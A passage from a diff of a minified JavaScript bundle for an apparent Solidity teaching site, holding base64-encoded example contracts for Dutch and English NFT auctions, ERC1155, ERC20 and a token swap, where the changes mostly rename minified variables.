D0gYmxvY2sudGltZXN0YW1wICsgRFVSQVRJT047CiAgICAgICAgZGlzY291bnRSYXRlID0gX2Rpc2NvdW50UmF0ZTsKCiAgICAgICAgcmVxdWlyZShfc3RhcnRpbmdQcmljZSA+PSBfZGlzY291bnRSYXRlICogRFVSQVRJT04sICJzdGFydGluZyBwcmljZSA8IG1pbiIpOwoKICAgICAgICBuZnQgPSBJRVJDNzIxKF9uZnQpOwogICAgICAgIG5mdElkID0gX25mdElkOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldFByaWNlKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHVpbnQgdGltZUVsYXBzZWQgPSBibG9jay50aW1lc3RhbXAgLSBzdGFydEF0OwogICAgICAgIHVpbnQgZGlzY291bnQgPSBkaXNjb3VudFJhdGUgKiB0aW1lRWxhcHNlZDsKICAgICAgICByZXR1cm4gc3RhcnRpbmdQcmljZSAtIGRpc2NvdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIGJ1eSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wIDwgZXhwaXJlc0F0LCAiYXVjdGlvbiBleHBpcmVkIik7CgogICAgICAgIHVpbnQgcHJpY2UgPSBnZXRQcmljZSgpOwogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID49IHByaWNlLCAiRVRIIDwgcHJpY2UiKTsKCiAgICAgICAgbmZ0LnRyYW5zZmVyRnJvbShzZWxsZXIsIG1zZy5zZW5kZXIsIG5mdElkKTsKICAgICAgICB1aW50IHJlZnVuZCA9IG1zZy52YWx1ZSAtIHByaWNlOwogICAgICAgIGlmIChyZWZ1bmQgPiAwKSB7CiAgICAgICAgICAgIHBheWFibGUobXNnLnNlbmRlcikudHJhbnNmZXIocmVmdW5kKTsKICAgICAgICB9CiAgICAgICAgc2VsZmRlc3RydWN0KHNlbGxlcik7CiAgICB9Cn0K"}],Vj=`

    Dutch auction for NFT.

    Auction

    1. Seller of NFT deploys this contract setting a starting price for the NFT.
    2. @@ -705,7 +705,7 @@ Closing a channel when Alice and Bob do not agree on the final balances selfdestruct(seller); } } -`,Gj=({prev:s,next:a})=>i.jsx(u,{version:wj,title:kj,description:Zj,html:Bj,prev:s,next:a,codes:Wj}),fj="0.8.20",Vj="English Auction",vj="An example of English auction in Solidity",Yj=[{fileName:"EnglishAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50IHRva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mFsIHsKICAgICAgICByZXF1aXJlKHN0YXJ0ZWQsICJub3Qgc3RhcnRlZCIpOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wID49IGVuZEF0LCAibm90IGVuZGVkIik7CiAgICAgICAgcmVxdWlyZSghZW5kZWQsICJlbmRlZCIpOwoKICAgICAgICBlbmRlZCA9IHRydWU7CiAgICAgICAgaWYgKGhpZ2hlc3RCaWRkZXIgIT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICBuZnQuc2FmZVRyYW5zZmVyRnJvbShhZGRyZXNzKHRoaXMpLCBoaWdoZXN0QmlkZGVyLCBuZnRJZCk7CiAgICAgICAgICAgIHNlbGxlci50cmFuc2ZlcihoaWdoZXN0QmlkKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBuZnQuc2FmZVRyYW5zZmVyRnJvbShhZGRyZXNzKHRoaXMpLCBzZWxsZXIsIG5mdElkKTsKICAgICAgICB9CgogICAgICAgIGVtaXQgRW5kKGhpZ2hlc3RCaWRkZXIsIGhpZ2hlc3RCaWQpOwogICAgfQp9Cg=="}],Rj=`

      English auction for NFT.

      +`,vj=({prev:s,next:a})=>i.jsx(u,{version:Wj,title:Bj,description:Gj,html:Vj,prev:s,next:a,codes:fj}),Yj="0.8.20",Rj="English Auction",Xj="An example of English auction in Solidity",Hj=[{fileName:"EnglishAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50IHRva2VuSWQpIGV4dGVybmFsOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzLCBhZGRyZXNzLCB1aW50KSBleHRlcm5hbDsKfQoKY29udHJhY3QgRW5nbGlzaEF1Y3Rpb24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mVxdWlyZSghZW5kZWQsICJlbmRlZCIpOwoKICAgICAgICBlbmRlZCA9IHRydWU7CiAgICAgICAgaWYgKGhpZ2hlc3RCaWRkZXIgIT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICBuZnQuc2FmZVRyYW5zZmVyRnJvbShhZGRyZXNzKHRoaXMpLCBoaWdoZXN0QmlkZGVyLCBuZnRJZCk7CiAgICAgICAgICAgIHNlbGxlci50cmFuc2ZlcihoaWdoZXN0QmlkKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBuZnQuc2FmZVRyYW5zZmVyRnJvbShhZGRyZXNzKHRoaXMpLCBzZWxsZXIsIG5mdElkKTsKICAgICAgICB9CgogICAgICAgIGVtaXQgRW5kKGhpZ2hlc3RCaWRkZXIsIGhpZ2hlc3RCaWQpOwogICAgfQp9Cg=="}],Fj=`

      English auction for NFT.

      Auction

      1. Seller of NFT deploys this contract.
      2. @@ -803,7 +803,7 @@ Closing a channel when Alice and Bob do not agree on the final balances emit End(highestBidder, highestBid); } } -`,Xj=({prev:s,next:a})=>i.jsx(u,{version:fj,title:Vj,description:vj,html:Rj,prev:s,next:a,codes:Yj}),Hj="0.8.20",Fj="ERC1155",Nj="Example of ERC1155 multi token in Solidity",Kj=[{fileName:"ERC1155.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmludGVyZmFjZSBJRVJDMTE1NSB7CiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKAogICAgICAgIGFkZHJlc3MgZnJvbSwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgaWQsCiAgICAgICAgdWludDI1NiB2YWx1ZSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsOwoKICAgIGZ1bmN0aW9uIHNhZmVCYXRjaFRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzI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YgdmFsdWUsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgbXNnLnNlbmRlciA9PSBmcm9tIHx8IGlzQXBwcm92ZWRGb3JBbGxbZnJvbV1bbXNnLnNlbmRlcl0sCiAgICAgICAgICAgICJub3QgYXBwcm92ZWQiCiAgICAgICAgKTsKICAgICAgICByZXF1aXJlKHRvICE9IGFkZHJlc3MoMCksICJ0byA9IDAgYWRkcmVzcyIpOwoKICAgICAgICBiYWxhbmNlT2ZbZnJvbV1baWRdIC09IHZhbHVlOwogICAgICAgIGJhbGFuY2VPZlt0b11baWRdICs9IHZhbHVlOwoKICAgICAgICBlbWl0IFRyYW5zZmVyU2luZ2xlKG1zZy5zZW5kZXIsIGZyb20sIHRvLCBpZCwgdmFsdWUpOwoKICAgICAgICBpZiAodG8uY29kZS5sZW5ndGggPiAwKSB7CiAgICAgICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgICAgICBJRVJDMTE1NVRva2VuUmVjZWl2ZXIodG8pLm9uRVJDMTE1NVJlY2VpdmVkKAogICAgICAgICAgICAgICAgICAgIG1zZy5zZW5kZXIsCiAgICAgICAgICAgICAgICAgICAgZnJvbSwKICAgICAgICAgICAgICAgICAgICBpZCwKICAgICAgICAgICAgICAgICAgICB2YWx1ZSwKICAgICAgICAgICAgICAgICAgICBkYXRhCiAgICAgICAgICAgICAgICApID09IElFUkMxMTU1VG9rZW5SZWNlaXZlci5vbkVSQzExNTVSZWNlaXZlZC5zZWxlY3RvciwKICAgICAgICAgICAgICAgICJ1bnNhZmUgdHJhbnNmZXIiCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHNhZmVCYXRjaFRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgaWRzLAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSB2YWx1ZXMsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgbXNnLnNlbmRlciA9PSBmcm9tIHx8IGlzQXBwcm92ZWRGb3JBbGxbZnJvbV1bbXNnLnNlbmRlcl0sCiAgICAgICAgICAgICJub3QgYXBwcm92ZWQiCiAgICAgICAgKTsKICAgICAgICByZXF1aXJlKHRvICE9IGFkZHJlc3MoMCksICJ0byA9IDAgYWRkcmVzcyIpOwogICAgICAgIHJlcXVpcmUoaWRzLmxlbmd0aCA9PSB2YWx1ZXMubGVuZ3RoLCAiaWRzIGxlbmd0aCAhPSB2YWx1ZXMgbGVuZ3RoIik7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IGlkcy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBiYWxhbmNlT2ZbZnJvbV1baWRzW2ldXSAtPSB2YWx1ZXNbaV07CiAgICAgICAgICAgIGJhbGFuY2VPZlt0b11baWRzW2ldXSArPSB2YWx1ZXNbaV07CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyQmF0Y2gobXNnLnNlbmRlciwgZnJvbSwgdG8sIGlkcywgdmFsdWVzKTsKCiAgICAgICAgaWYgKHRvLmNvZGUubGVuZ3RoID4gMCkgewogICAgICAgICAgICByZXF1aXJlKAogICAgICAgICAgICAgICAgSUVSQzExNTVUb2tlblJlY2VpdmVyKHRvKS5vbkVSQzExNTVCYXRjaFJlY2VpdmVkKAogICAgICAgICAgICAgICAgICAgIG1zZy5zZW5kZXIsCiAgICAgICAgICAgICAgICAgICAgZnJvbSwKICAgICAgICAgICAgICAgICAgICBpZHMsCiAgICAgICAgICAgICAgICAgICAgdmFsdWVzLAogICAgICAgICAgICAgICAgICAgIGRhdGEKICAgICAgICAgICAgICAgICkgPT0gSUVSQzExNTVUb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zcygwKSwgdG8sIGlkLCB2YWx1ZSk7CgogICAgICAgIGlmICh0by5jb2RlLmxlbmd0aCA+IDApIHsKICAgICAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgICAgIElFUkMxMTU1VG9rZW5SZWNlaXZlcih0bykub25FUkMxMTU1UmVjZWl2ZWQoCiAgICAgICAgICAgICAgICAgICAgbXNnLnNlbmRlciwKICAgICAgICAgICAgICAgICAgICBhZGRyZXNzKDApLAogICAgICAgICAgICAgICAgICAgIGlkLAogICAgICAgICAgICAgICAgICAgIHZhbHVlLAogICAgICAgICAgICAgICAgICAgIGRhdGEKICAgICAgICAgICAgICAgICkgPT0gSUVSQzExNTVUb2tlblJlY2VpdmVyLm9uRVJDMTE1NVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAgICAgInVuc2FmZSB0cmFuc2ZlciIKICAgICAgICAgICAgKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gX2JhdGNoTWludCgKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSBpZHMsCiAgICAgICAgdWludDI1NltdIGNhbGxkYXRhIHZhbHVlcywKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGludGVybmFsIHsKICAgICAgICByZXF1aXJlKHRvICE9IGFkZHJlc3MoMCksICJ0byA9IDAgYWRkcmVzcyIpOwogICAgICAgIHJlcXVpcmUoaWRzLmxlbmd0aCA9PSB2YWx1ZXMubGVuZ3RoLCAiaWRzIGxlbmd0aCAhPSB2YWx1ZXMgbGVuZ3RoIik7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IGlkcy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dW2lkc1tpXV0gKz0gdmFsdWVzW2ldOwogICAgICAgIH0KCiAgICAgICAgZW1pdCBUcmFuc2ZlckJhdGNoKG1zZy5zZW5kZXIsIGFkZHJlc3MoMCksIHRvLCBpZHMsIHZhbHVlcyk7CgogICAgICAgIGlmICh0by5jb2RlLmxlbmd0aCA+IDApIHsKICAgICAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgICAgIElFUkMxMTU1VG9rZW5SZWNlaXZlcih0bykub25FUkMxMTU1QmF0Y2hSZWNlaXZlZCgKICAgICAgICAgICAgICAgICAgICBtc2cuc2VuZGVyLAogICAgICAgICAgICAgICAgICAgIGFkZHJlc3MoMCksCiAgICAgICAgICAgICAgICAgICAgaWRzLAogICAgICAgICAgICAgICAgICAgIHZhbHVlcywKICAgICAgICAgICAgICAgICAgICBkYXRhCiAgICAgICAgICAgICAgICApID09IElFUkMxMTU1VG9rZW5SZWNlaXZlci5vbkVSQzExNTVCYXRjaFJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAgICAgInVuc2FmZSB0cmFuc2ZlciIKICAgICAgICAgICAgKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4oYWRkcmVzcyBmcm9tLCB1aW50MjU2IGlkLCB1aW50MjU2IHZhbHVlKSBpbnRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShmcm9tICE9IGFkZHJlc3MoMCksICJmcm9tID0gMCBhZGRyZXNzIik7CiAgICAgICAgYmFsYW5jZU9mW2Zyb21dW2lkXSAtPSB2YWx1ZTsKICAgICAgICBlbWl0IFRyYW5zZmVyU2luZ2xlKG1zZy5zZW5kZXIsIGZyb20sIGFkZHJlc3MoMCksIGlkLCB2YWx1ZSk7CiAgICB9CgogICAgZnVuY3Rpb24gX2JhdGNoQnVybigKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgdWludDI1NltdIGNhbGxkYXRhIGlkcywKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgdmFsdWVzCiAgICApIGludGVybmFsIHsKICAgICAgICByZXF1aXJlKGZyb20gIT0gYWRkcmVzcygwKSwgImZyb20gPSAwIGFkZHJlc3MiKTsKICAgICAgICByZXF1aXJlK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MsIHZhbHVlcyk7CiAgICB9Cn0K"}],Sj=`

        Example of ERC1155

        +`,Nj=({prev:s,next:a})=>i.jsx(u,{version:Yj,title:Rj,description:Xj,html:Fj,prev:s,next:a,codes:Hj}),Kj="0.8.20",Sj="ERC1155",xj="Example of ERC1155 multi token in Solidity",Mj=[{fileName:"ERC1155.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmludGVyZmFjZSBJRVJDMTE1NSB7CiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKAogICAgICAgIGFkZHJlc3MgZnJvbSwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgaWQsCiAgICAgICAgdWludDI1NiB2YWx1ZSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsOwoKICAgIGZ1bmN0aW9uIHNhZmVCYXRjaFRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgaWRzLAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSB2YWx1ZXMsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbDsKCiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBvd25lciwgdWludDI1NiBpZCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKCiAgICBmdW5jdGlvbiBiYWxhbmNlT2ZCYXRjaCgKICAgICAgICBhZGRyZXNzW10gY2FsbGRhdGEgb3duZXJzLAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSBpZHMKICAgICkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2W10gbWVtb3J5KTsKCiAgICBmdW5jdGlvbiBzZXRBcHByb3ZhbEZ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ggPiAwKSB7CiAgICAgICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgICAgICBJRVJDMTE1NVRva2VuUmVjZWl2ZXIodG8pLm9uRVJDMTE1NVJlY2VpdmVkKAogICAgICAgICAgICAgICAgICAgIG1zZy5zZW5kZXIsCiAgICAgICAgICAgICAgICAgICAgZnJvbSwKICAgICAgICAgICAgICAgICAgICBpZCwKICAgICAgICAgICAgICAgICAgICB2YWx1ZSwKICAgICAgICAgICAgICAgICAgICBkYXRhCiAgICAgICAgICAgICAgICApID09IElFUkMxMTU1VG9rZW5SZWNlaXZlci5vbkVSQzExNTVSZWNlaXZlZC5zZWxlY3RvciwKICAgICAgICAgICAgICAgICJ1bnNhZmUgdHJhbnNmZXIiCiAgICAgICAgICAgICk7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIHNhZmVCYXRjaFRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgaWRzLAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSB2YWx1ZXMsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgbXNnLnNlbmRlciA9PSBmcm9tIHx8IGlzQXBwcm92ZWRGb3JBbGxbZnJvbV1bbXNnLnNlbmRlcl0sCiAgICAgICAgICAgICJub3QgYXBwcm92ZWQiCiAgICAgICAgKTsKICAgICAgICByZXF1aXJlKHRvICE9IGFkZHJlc3MoMCksICJ0byA9IDAgYWRkcmVzcyIpOwogICAgICAgIHJlcXVpcmUoaWRzLmxlbmd0aCA9PSB2YWx1ZXMubGVuZ3RoLCAiaWRzIGxlbmd0aCAhPSB2YWx1ZXMgbGVuZ3RoIik7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IGlkcy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBiYWxhbmNlT2ZbZnJvbV1baWRzW2ldXSAtPSB2YWx1ZXNbaV07CiAgICAgICAgICAgIGJhbGFuY2VPZlt0b11baWRzW2ldXSArPSB2YWx1ZXNbaV07CiAgICAgICAgfQoKICAgICAgICBlbWl0IFRyYW5zZmVyQmF0Y2gobXNnLnNlbmRlciwgZnJvbSwgdG8sIGlkcywgdmFsdWVzKTsKCiAgICAgICAgaWYgKHRvLmNvZGUubGVuZ3RoID4gMCkgewogICAgICAgICAgICByZXF1aXJlKAogICAgICAgICAgICAgICAgSUVSQzExNTVUb2tlblJlY2VpdmVyKHRvKS5vbkVSQzExNTVCYXRjaFJlY2VpdmVkKAogICAgICAgICAgICAgICAgICAgIG1zZy5zZW5kZXIsCiAgICAgICAgICAgICAgICAgICAgZnJvbSwKICAgICAgICAgICAgICAgICAgICBpZHMsCiAgICAgICAgICAgICAgICAgICAgdmFsdWVzLAogICAgICAgICAgICAgICAgICAgIGRhdGEKICAgICAgICAgICAgICAgICkgPT0gSUVSQzExNTVUb2tlblJlY2VpdmVyLm9uRVJDMTE1NUJhdGNoUmVjZWl2ZWQuc2VsZWN0b3IsCiAgICAgICAgICAgICAgICAidW5zYWZlIHRyYW5zZmVyIgogICAgICAgICAgICApOwogICAgICAgIH0KICAgIH0KCiAgICAvLyBFUkMxNjUKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJZCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChib29sKSB7CiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIGludGVyZmFjZUlkID09IDB4MDFmZmM5YTcgfHwgLy8gRVJDMTY1IEludGVyZmFjZSBJRCBmb3IgRVJDMTY1CiAgICAgICAgICAgIGludGVyZmFjZUlkID09IDB4ZDliNjdhMjYgfHwgLy8gRVJDMTY1IEludGVyZmFjZSBJRCBmb3IgRVJDMTE1NQogICAgICAgICAgICBpbnRlcmZhY2VJZCA9PSAweDBlODkzNDFjOyAvLyBFUkMxNjUgSW50ZXJmYWNlIElEIGZvciBFUkMxMTU1TWV0YWRhdGFVUkkKICAgIH0KCiAgICAvLyBFUkMxMTU1IE1ldGFkYXRhIFVSSQogICAgZnVuY3Rpb24gdXJpKHVpbnQyNTYgaWQpIHB1YmxpYyB2aWV3IHZpcnR1YWwgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkge30KCiAgICAvLyBJbnRlcm5hbCBmdW5jdGlvbnMKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgdG8sIHVpbnQyNTYgaWQsIHVpbnQyNTYgdmFsdWUsIGJ5dGVzIG1lbW9yeSBkYXRhKSBpbnRlcm5hbCB7CiAgICAgICAgcmVxdWlyZSh0byAhPSBhZGRyZXNzKDApLCAidG8gPSAwIGFkZHJlc3MiKTsKCiAgICAgICAgYmFsYW5jZU9mW3RvXVtpZF0gKz0gdmFsdWU7CgogICAgICAgIGVtaXQgVHJhbnNmZXJTaW5nbGUobXNnLnNlbmRlciwgYWRkcmVzcygwKSwgdG8sIGlkLCB2YWx1ZSk7CgogICAgICAgIGlmICh0by5jb2RlLmxlbmd0aCA+IDApIHsKICAgICAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgICAgIElFUkMxMTU1VG9rZW5SZWNlaXZlcih0bykub25FUkMxMTU1UmVjZWl2ZWQoCiAgICAgICAgICAgICAgICAgICAgbXNnLnNlbmRlciwKICAgICAgICAgICAgICAgICAgICBhZGRyZXNzKDApLAogICAgICAgICAgICAgICAgICAgIGlkLAogICAgICAgICAgICAgICAgICAgIHZhbHVlLAogICAgICAgICAgICAgICAgICAgIGRhdGEKICAgICAgICAgICAgICAgICkgPT0gSUVSQzExNTVUb2tlblJlY2VpdmVyLm9uRVJDMTE1NVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAgICAgInVuc2FmZSB0cmFuc2ZlciIKICAgICAgICAgICAgKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gX2JhdGNoTWludCgKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSBpZHMsCiAgICAgICAgdWludDI1NltdIGNhbGxkYXRhIHZhbHVlcywKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGludGVybmFsIHsKICAgICAgICByZXF1aXJlKHRvICE9IGFkZHJlc3MoMCksICJ0byA9IDAgYWRkcmVzcyIpOwogICAgICAgIHJlcXVpcmUoaWRzLmxlbmd0aCA9PSB2YWx1ZXMubGVuZ3RoLCAiaWRzIGxlbmd0aCAhPSB2YWx1ZXMgbGVuZ3RoIik7CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IGlkcy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dW2lkc1tpXV0gKz0gdmFsdWVzW2ldOwogICAgICAgIH0KCiAgICAgICAgZW1pdCBUcmFuc2ZlckJhdGNoKG1zZy5zZW5kZXIsIGFkZHJlc3MoMCksIHRvLCBpZHMsIHZhbHVlcyk7CgogICAgICAgIGlmICh0by5jb2RlLmxlbmd0aCA+IDApIHsKICAgICAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgICAgIElFUkMxMTU1VG9rZW5SZWNlaXZlcih0bykub25FUkMxMTU1QmF0Y2hSZWNlaXZlZCgKICAgICAgICAgICAgICAgICAgICBtc2cuc2VuZGVyLAogICAgICAgICAgICAgICAgICAgIGFkZHJlc3MoMCksCiAgICAgICAgICAgICAgICAgICAgaWRzLAogICAgICAgICAgICAgICAgICAgIHZhbHVlcywKICAgICAgICAgICAgICAgICAgICBkYXRhCiAgICAgICAgICAgICAgICApID09IElFUkMxMTU1VG9rZW5SZWNlaXZlci5vbkVSQzExNTVCYXRjaFJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAgICAgInVuc2FmZSB0cmFuc2ZlciIKICAgICAgICAgICAgKTsKICAgICAgICB9CiAgICB9Cgog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lkLCB2YWx1ZSwgZGF0YSk7CiAgICB9CgogICAgZnVuY3Rpb24gYmF0Y2hNaW50KAogICAgICAgIHVpbnQyNTZbXSBjYWxsZGF0YSBpZHMsCiAgICAgICAgdWludDI1NltdIGNhbGxkYXRhIHZhbHVlcywKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICBfYmF0Y2hNaW50KG1zZy5zZW5kZXIsIGlkcywgdmFsdWVzLCBkYXRhKTsKICAgIH0KCiAgICBmdW5jdGlvbiBidXJuKHVpbnQyNTYgaWQsIHVpbnQyNTYgdmFsdWUpIGV4dGVybmFsIHsKICAgICAgICBfYnVybihtc2cuc2VuZGVyLCBpZCwgdmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJhdGNoQnVybih1aW50MjU2W10gY2FsbGRhdGEgaWRzLCB1aW50MjU2W10gY2FsbGRhdGEgdmFsdWVzKSBleHRlcm5hbCB7CiAgICAgICAgX2JhdGNoQnVybihtc2cuc2VuZGVyLCBpZHMsIHZhbHVlcyk7CiAgICB9Cn0K"}],Jj=`

        Example of ERC1155

        // SPDX-License-Identifier: MIT
         pragma solidity ^0.8.20;
         
        @@ -1076,7 +1076,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
                 _batchBurn(msg.sender, ids, values);
             }
         }
        -
        `,xj=({prev:s,next:a})=>i.jsx(u,{version:Hj,title:Fj,description:Nj,html:Sj,prev:s,next:a,codes:Kj}),Mj="0.8.20",Jj="ERC20",zj="Example of ERC20 token in Solidity",Ej=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCmNvbnRyYWN0IEVSQzIwIGlzIElFUkMyMCB7CiAgICB1aW50IHB1YmxpYyB0b3RhbFN1cHBseTsKICAgIG1hcHBpbmcoYWRkcmVzcyA9P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wLnN3YXAoKQo4LiBBbGljZSBhbmQgQm9iIHRyYWRlZCB0b2tlbnMgc3VjY2Vzc2Z1bGx5LgoqLwoKY29udHJhY3QgVG9rZW5Td2FwIHsKICAgIElFUkMyMCBwdWJsaWMgdG9rZW4xOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIxOwogICAgdWludCBwdWJsaWMgYW1vdW50MTsKICAgIElFUkMyMCBwdWJsaWMgdG9rZW4yOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIyOwogICAgdWludCBwdWJsaWMgYW1vdW50MjsKCiAgICBjb25zdHJ1Y3RvcigKICAgICAgICBhZGRyZXNzIF90b2tlbjEsCiAgICAgICAgYWRkcmVzcyBfb3duZXIxLAogICAgICAgIHVpbnQgX2Ftb3VudDEsCiAgICAgICAgYWRkcmVzcyBfdG9rZW4yLAogICAgICAgIGFkZHJlc3MgX293bmVyMiwKICAgICAgICB1aW50IF9hbW91bnQyCiAgICApIHsKICAgICAgICB0b2tlbjEgPSBJRVJDMjAoX3Rva2VuMSk7CiAgICAgICAgb3duZXIxID0gX293bmVyMTsKICAgICAgICBhbW91bnQxID0gX2Ftb3VudDE7CiAgICAgICAgdG9rZW4yID0gSUVSQzIwKF90b2tlbjIpOwogICAgICAgIG93bmVyMiA9IF9vd25lcjI7CiAgICAgICAgYW1vdW50MiA9IF9hbW91bnQyOwogICAgfQoKICAgIGZ1bmN0aW9uIHN3YXAoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lcjEgfHwgbXNnLnNlbmRlciA9PSBvd25lcjIsICJOb3QgYXV0aG9yaXplZCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMS5hbGxvd2FuY2Uob3duZXIxLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQxLAogICAgICAgICAgICAiVG9rZW4gMSBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMi5hbGxvd2FuY2Uob3duZXIyLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQyLAogICAgICAgICAgICAiVG9rZW4gMiBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwoKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjEsIG93bmVyMSwgb3duZXIyLCBhbW91bnQxKTsKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjIsIG93bmVyMiwgb3